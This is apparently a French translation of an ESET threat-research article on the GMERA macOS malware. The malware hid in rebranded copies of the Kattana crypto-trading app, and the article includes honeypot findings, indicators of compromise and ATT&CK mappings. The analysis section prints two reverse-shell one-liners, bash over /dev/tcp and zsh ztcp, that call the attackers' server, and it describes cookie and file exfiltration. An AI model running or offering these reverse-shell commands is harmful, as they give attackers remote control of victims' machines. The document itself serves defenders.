Une app d’échanges de cryptomonnaie sous Mac rebaptisée, avec logiciels malveillants en prime | WeLiveSecurity

Une app d’échanges de cryptomonnaie sous Mac rebaptisée, avec logiciels malveillants en prime

Les chercheurs d'ESET attirent les opérateurs de logiciels malveillants du GMERA et les incitent à contrôler à distance leurs honeypots Mac

Les chercheurs d’ESET attirent les opérateurs de logiciels malveillants du GMERA et les incitent à contrôler à distance leurs honeypots Mac

Nous avons récemment découvert des sites web distribuant des applications malveillantes pour les échanges de cryptomonnaies sur Mac. Ces logiciels malveillants sont utilisés pour voler des informations telles que des cookies de navigateur, des portefeuilles de cryptomonnaies et des captures d’écran. En analysant les échantillons de logiciels malveillants, nous avons rapidement découvert qu’il s’agissait d’une nouvelle campagne de ce que les chercheurs de Trend Micro ont appelé GMERA, dans une analyse publiée en septembre 2019. Comme dans les campagnes précédentes, le logiciel malveillant se rapporte à un serveur C&C via HTTP et connecte les sessions de terminaux distants à un autre serveur C&C en utilisant une adresse IP codée en dur. Cette fois, cependant, les auteurs du logiciel malveillant ne l’ont pas seulement inclus dans l’application originale et légitim. Ainsi,ils ont également donné un nouveau nom à l’application commerciale Kattana et copié son site web original. Nous avons vu les marques fictives suivantes utilisées dans différentes campagnes : Cointrazer, Cupatrade, Licatrade et Trezarus. En plus de l’analyse du code du logiciel malveillant, les chercheurs d’ESET ont également mis en place des honeypots pour tenter de révéler les motivations de ce groupe de criminels.

Distribution

Nous n’avons pas encore été en mesure de trouver où exactement ces applications cheval de Troie sont promues. Cependant, en mars 2020, Kattana a publié un avertissement suggérant que les victimes étaient approchées individuellement pour les inciter à télécharger une application trojanisée. Nous n’avons pas pu confirmer que cela était lié à cette campagne particulière, mais cela pourrait très bien être le cas.

Figure 1. Kattana mettant en garde contre les copies trojanisées de son logiciel sur Twitter

Des sites web imitateurs ont été mis en place, pour donner l’illusion que le téléchargement d’une application bidon est légitime. Pour une personne qui ne connaît pas Kattana, les sites web semblent légitimes.

Le bouton de téléchargement sur les faux sites est un lien vers une archive ZIP contenant le paquet d’applications trojanisées.

Analyse

Dans ce cas, l’analyse des logiciels malveillants est assez simple. Nous prendrons l’exemple de l’échantillon de Licatrade. Les autres échantillons présentent des différences mineures, mais les idées et les fonctionnalités sont essentiellement les mêmes. Des analyses similaires de campagnes GMERA antérieures sont fournies dans un article de Trend Micro et dans le rapport 2019 d’Objective-See sur les logiciels malveillants touchant  Mac.

Figure 4. Contenu du bundle d’applications de Licatrade

La date de modification des fichiers dans l’archive ZIP, la date de signature de la demande et l’en-tête HTTP Last‑Modified  lorsque nous avons téléchargé l’archive indiquent tous le 15 avril 2020. Tout ceci suggère que cette campagne ait débuté à cette date.

Un script shell (run.sh) est inclus dans les ressources du paquet d’applications. Cet exécutable principal, écrit en Swift, lance run.sh. Pour une raison quelconque, l’auteur du logiciel malveillant a dupliqué la fonctionnalité permettant d’envoyer un simple rapport à un serveur C&C via HTTP, et de se connecter à un hôte distant via TCP fournissant un shell distant aux attaquants, à la fois dans l’exécutable principal et dans le script shell. Une fonctionnalité supplémentaire, dans le script shell uniquement, consiste à mettre en place la persistance en installant un agent de lancement.

Voici la source complète du script shell (ellipses en longue chaîne décrochetées) :

Il est intéressant de noter que la persistance est rompue dans l’échantillon Licatrade : le contenu du fichier Launch Agent (.com.apple.system.plist) qui en résulte n’est pas au format Property List comme le prévoit launchd, mais constitue plutôt la ligne de commande à exécuter.

Le contenu décodé (ellipses dans les longues chaînes de caractères) de la variable $plist_text l’est :

S’il était exécuté directement, ce code ouvrirait un shell inversé de la machine victime vers un serveur contrôlé par l’attaquant, mais cela échoue ici. Heureusement pour les attaquants, la dernière ligne du script shell lance également un shell inversé vers leur serveur.

L’échantillon Cointrazer, utilisé dans les campagnes antérieures à Licatrade, n’est pas affectée : l’agent de lancement est installé et démarre avec succès lorsque l’utilisateur se connecte.

Les différents shells inversés utilisés par ces opérateurs de logiciels malveillants se connectent à différents ports distants selon la manière dont ils ont été lancés. Toutes les connexions sont non chiffrées. Voici une liste de ports, basée sur l’exemple de Licatrade.

TCP PortWhereHow
25733Licatrade executablezsh in screen using ztcp
run.shbash in screen using /dev/tcp
Launch Agent (Not working)bash in screen using /dev/tcp
25734Licatrade executablezsh using ztcp
25735Licatrade executablebash using /dev/tcp
25736Licatrade executablebash in screen using /dev/tcp
25737Licatrade executablebash in screen using /dev/tcp
25738Licatrade executablezsh in screen using ztcp

Voici quelques exemples de lignes de commande utilisées :

  • Bash in screen en utilisant /dev/tcp :

screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1’

  • zsh utilisant ztcp :

zsh -c ‘zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’

L’application, rebaptisée Kattana, se trouve également dans les ressources de l’ensemble des applications. Nous voulions voir si, outre le changement de nom et d’icône dans l’application, un autre code avait été modifié. Étant donné que Kattana demande des informations d’identification pour les plateformes de négociation, nous avons vérifié si les champs de saisie de celles-ci avaient été altérés et si les informations d’identification avaient été exfiltrées d’une manière ou d’une autre. Kattana est construit avec Electron, et les applications Electron ont un fichier app.asar, qui est une archive contenant le code JavaScript de l’application. Nous avons vérifié tous les changements entre l’application Kattana originale et l’imitateur malveillant de Licatrade et avons constaté que seules les chaînes de caractères et les images étaient modifiées.

Figure 5. Différence partielle entre Kattana et Licatrade

Licatrade et ses ressources ont toutes été signées à l’aide du même certificat, dont le champ du nom commun est Andrey Novoselov et qui utilise l’identifiant de développement M8WVDT659T. Le certificat a été délivré par Apple le 6 avril 2020. Il a été révoqué le jour même où nous avons informé Apple de cette application malveillante.

Figure 6. Certificat utilisé pour signer Licatrade

Figure 7. Le certificat de Licatrade a été révoqué le 28 mai 2020

Pour chacune des autres campagnes que nous avons analysées, un certificat différent a été utilisé. Tous deux avaient déjà été révoqués par Apple lorsque nous avons commencé nos analyses. Consultez la section IoCs pour plus de détails à ce sujet. Il est intéressant de noter que dans le cas du Cointrazer, il ne s’est écoulé que 15 minutes entre le moment où le certificat a été délivré par Apple et celui où les malfaiteurs ont signé leur application trojanisée. Ceci, et le fait que nous n’ayons rien trouvé d’autre signé avec la même clé, suggère qu’ils ont obtenu le certificat explicitement dans ce but.

Infrastructure

L’application malveillante Licatrade était disponible sur le site web licatrade.com et son domaine de serveur de rapports HTTP C&C est stepbystepby.com. Les deux domaines ont été enregistrés à l’aide de l’adresse électronique levistor777@gmail.com. La recherche d’autres domaines enregistrés avec cette adresse électronique révèle ce qui ressemble à plusieurs campagnes précédentes. Vous trouverez ci-dessous la liste des domaines que nous avons trouvés dans les échantillons ou enregistrés avec cette adresse électronique.

Domain nameRegistration dateComment
repbaerray.pw2019-02-25C&C server for HTTP report of Stockfolio app
macstockfolio.com2019-03-03Website distributing the malicious Stockfolio app
latinumtrade.com2019-07-25Website distributing the malicious Latinum app
trezarus.com2019-06-03Website distributing the malicious Trezarus app
trezarus.net2019-08-07
cointrazer.com2019-08-18Website distributing the malicious Cointrazer app
apperdenta.com2019-08-18Usage unknown
narudina.com2019-09-23Usage unknown
nagsrsdfsudinasa.com2019-10-09C&C server for HTTP report of Cointrazer app
cupatrade.com2020-03-28Website distributing the malicious Cupatrade app
stepbystepby.com2020-04-07C&C server for HTTP report of Licatrade app
licatrade.com2020-04-13Website distributing the malicious Licatrade app
creditfinelor.com2020-05-29Empty page, usage unknown
maccatreck.com2020-05-29Some authentication form

Les sites web et les serveurs HTTP C&C recevant le premier rapport de logiciel malveillant sont hébergés sous Cloudflare.

Interactions avec le honeypot

Pour en savoir plus sur les intentions de ce groupe, nous avons mis en place des honeypots, nous permettant d’y surveiller toutes les interactions entre les portes dérobées de la GMERA et les opérateurs de ce logiciel malveillant.

Nous n’avons vu aucune commande C&C émise via le canal du serveur HTTP C&C ; tout s’est passé par les reverse shells. Lors de sa première connexion, le serveur C&C a envoyé un petit script pour recueillir le nom d’utilisateur, la version de macOS et l’emplacement (basé sur l’adresse IP externe) de l’appareil compromis.

 

qui a envoyé quelque chose de ce type aux opérateurs :

 

La connexion TCP reste ouverte et attend d’autres commandes. Dans notre cas, après un certain temps, les opérateurs ont inspecté manuellement la machine. Dans plusieurs de nos honeypots, les commandes utilisées pour effectuer cette inspection variaient. Une partie de l’inspection consistait simplement à répertorier les fichiers dans le système de fichiers. Parfois, ils copiaient et collaient un script codé en base64 conçu pour lister les informations afin de révéler si le système est un honeypot ou s’il est réellement intéressant. Le script est décodé, puis transmis à bash.

Figure 8. Capture de paquets de l’opérateur, envoyant le script de reconnaissance secondaire codé en base64

Voici le script décodé :

 

Ce script est en fait très similaire au fichier du plugin trouvé dans l’un des échantillons du Stockfolio analysé l’année dernière. Cependant, lors des campagnes les plus récentes, ils ont choisi d’envoyer le script de reconnaissance sur le réseau uniquement aux victimes intéressantes. Il a également été mis à jour pour inclure quelques informations supplémentaires.

Figure 9. Résultats du rapport qui seraient visibles sur le terminal d’un opérateur (reconstitué à partir de la capture de paquets)

Nous allons passer en revue chaque section du script ci-dessous :

  • Il reçoit le rapport complet sur la propriété intellectuelle externe de ipinfo.io
  • Il vérifie le modèle de Mac en utilisant les 4 derniers chiffres du numéro de série du Mac et un service HTTP fourni par Apple pour le traduire en un nom convivial tel que « MacBook Pro (Retina, 15 pouces, fin 2013) ». Les machines virtuelles ont probablement des numéros de série non valides et peuvent ne pas afficher un modèle ici.
  • Il affiche la version de macOS installée. Il y a un assez gros rouge (utilisant la séquence d’échappement ANSI), toutes les majuscules avertissant lorsque l’ordinateur exécute macOS Catalina (10.15). Nous pensons comprendre pourquoi et nous en parlerons plus tard.
  • Il vérifie quand macOS a été installé en utilisant le temps de modification du /var/db/.AppleSetupDone.
  • Il affiche l’utilisation du disque et les détails des moniteurs connectés.
  • Il répertorie les réseaux Wi-Fi disponibles. Les honeypots sont susceptibles d’avoir le Wi-Fi désactivé.
  • Il détecte si l’ordinateur est une machine virtuelle VMware, Parallels ou VirtualBox en examinant les chaînes de fournisseurs des périphériques connectés.
  • Il vérifie si des éditeurs de texte ou des applications IDE courantes sont installés et avertit les opérateurs de « Be Carefull » (sic) car cette victime pourrait être plus calée en informatique que d’habitude.
  • Il obtient les 20 premières commandes (c’est-à-dire les plus anciennes) de l’historique du fichier bash.
  • Enfin, elle prend une capture d’écran, la redimensionne et la télécharge dans le fichier .io. Il vérifie au préalable si le système exécute MacOS Catalina, mais une erreur dans le script rend cette vérification inutile. L’opérateur de contrôle « & », qui lance les commandes en parallèle, est utilisé à la place de l’opérateur logique ET (« && »). Cela signifie que la capture d’écran est effectuée quelle que soit la version de macOS.

Le fait qu’une capture d’écran ne doit pas être effectuée sur Catalina et qu’un signe d’avertissement évident sera affiché sur le terminal de l’opérateur nous a fait nous demander pourquoi ils agissent différemment sur la version actuelle de macOS. Il s’avère que Catalina a ajouté une fonction où l’enregistrement de l’écran ou la prise d’une capture d’écran doit être approuvée par l’utilisateur pour chaque application. Nous avons testé la possibilité de faire une capture d’écran à partir du shell inversé sur Catalina et nous avons obtenu l’avertissement suivant dans notre sandbox, ce qui est plutôt suspect étant donné qu’une application commerciale n’a pas à le faire.

Figure 10. Avertissement de macOS Catalina si les opérateurs essaient de faire une capture d’écran

Si un système compromis est considéré comme intéressant, la phase d’exfiltration commence. Les fichiers intéressants sont compressés dans une archive ZIP et téléchargés via HTTP vers un autre serveur, également sous le contrôle des attaquants.

Figure 11. Capture de paquets d’un opérateur utilisant le shell inverse pour exfiltrer les cookies de navigation

Il est amusant de noter ici que le fichier /tmp/h.zip n’existait pas. Peut-être ont-ils copié et collé une commande qui a été utilisée pour une autre victime.

Sur la base de l’activité dont nous avons été témoins, nous concluons que voici certains des intérêts des opérateurs de ce logiciel malveillant  :

  • Informations sur le navigateur (cookies, historique)
  • Portefeuilles de cryptomonnaie
  • Captures d’écran.

Conclusion

Les nombreuses campagnes menées par ce groupe montrent combien d’efforts ils ont déployés au cours de l’année dernière pour compromettre les utilisateurs de Mac qui font du commerce en ligne. Nous ne savons toujours pas comment quelqu’un devient une victime, en téléchargeant une des applications troyennes, mais l’hypothèse des opérateurs contactant directement leurs cibles et les manipulant socialement pour installer l’application malveillante semble la plus plausible.

Il est intéressant de noter que le fonctionnement du logiciel malveillant est plus limité sur la version la plus récente de MacOS. Nous n’avons pas vu les opérateurs essayer de contourner la limitation concernant les captures d’écran. En outre, nous pensons que la seule façon dont ils pourraient voir l’écran de l’ordinateur sur les machines victimes exécutant Catalina serait d’exfiltrer les captures d’écran existantes prises par la victime. Il s’agit d’un bon exemple concret de mise en œuvre de mesures d’atténuation dans le système d’exploitation qui a permis de limiter les activités des malfaiteurs.

Indicateurs de compromission (IoCs)

Échantillons

SHA-1FilenameESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3BLicatrade.zipmultiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FALicatrade.app/Contents/Resources/run.shOSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CELicatrade.app/Contents/MacOS/LicatradeOSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229Cointrazer.zipmultiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0Cointrazer.app/Contents/Resources/nytyntrun.shOSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380Cointrazer.app/Contents/MacOS/CointrazerOSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46Stockfolio.zipmultiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2CStockfolio.app/Contents/MacOS/StockfoliOSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023Stockfolio.app/Contents/Resources/run.shOSX/Agent.AZ

Certificat Code signing

App nameFingerprint (SHA-1)Developer identityValid fromApp signed onRevoked on
StockfolioE5D2C7FB4A64EAF444728E5C61F576FF178C5EBFLevis Toretto (9T4J9V8NV5)2018-11-252019-04-182019-07-26
Cointrazer1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55Andrei Sobolev (A265HSB92F)2019-10-172019-10-172020-04-16
LicatradeBDBD92BFF8E349452B07E5F1D2883678658404A3Andrey Novoselov (M8WVDT659T)2020-04-062020-04-152020-05-28

Réseau

Noms de domaine

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Adresses IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicateurs basés sur l’hôte

Chemin d’accès

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Étiquettes Launch Agent

• com.apple.apps.upd
• com.apples.apps.upd

Techniques MITRE ATT&CK

TacticIDNameDescription
ExecutionT1204User ExecutionVictim needs to run the malicious application to be compromised.
T1059Command-Line InterfaceGMERA provides reverse bash and zsh shells to its operators.
PersistenceT1159Launch AgentGMERA installs a Launch Agent to maintain persistence.
Defense EvasionT1116Code SigningAll samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential AccessT1139Bash HistoryA GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539Steal Web Session CookieGMERA’s operators steal browser cookies via a reverse shell.
DiscoveryT1083File and Directory DiscoveryGMERA’s operators list files on the target system via a reverse shell and ls .
T1497Virtualization/Sandbox EvasionA GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040Network SniffingA GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082System Information DiscoveryA GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518Software DiscoveryA GMERA reconnaissance script checks whether developer tools are installed.
CollectionT1005Data from Local SystemGMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113Screen CaptureGMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and ControlT1043Commonly Used PortInitial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065Uncommonly Used PortGMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
ExfiltrationT1048Exfiltration Over Alternative ProtocolGMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.

Infolettre

Discussion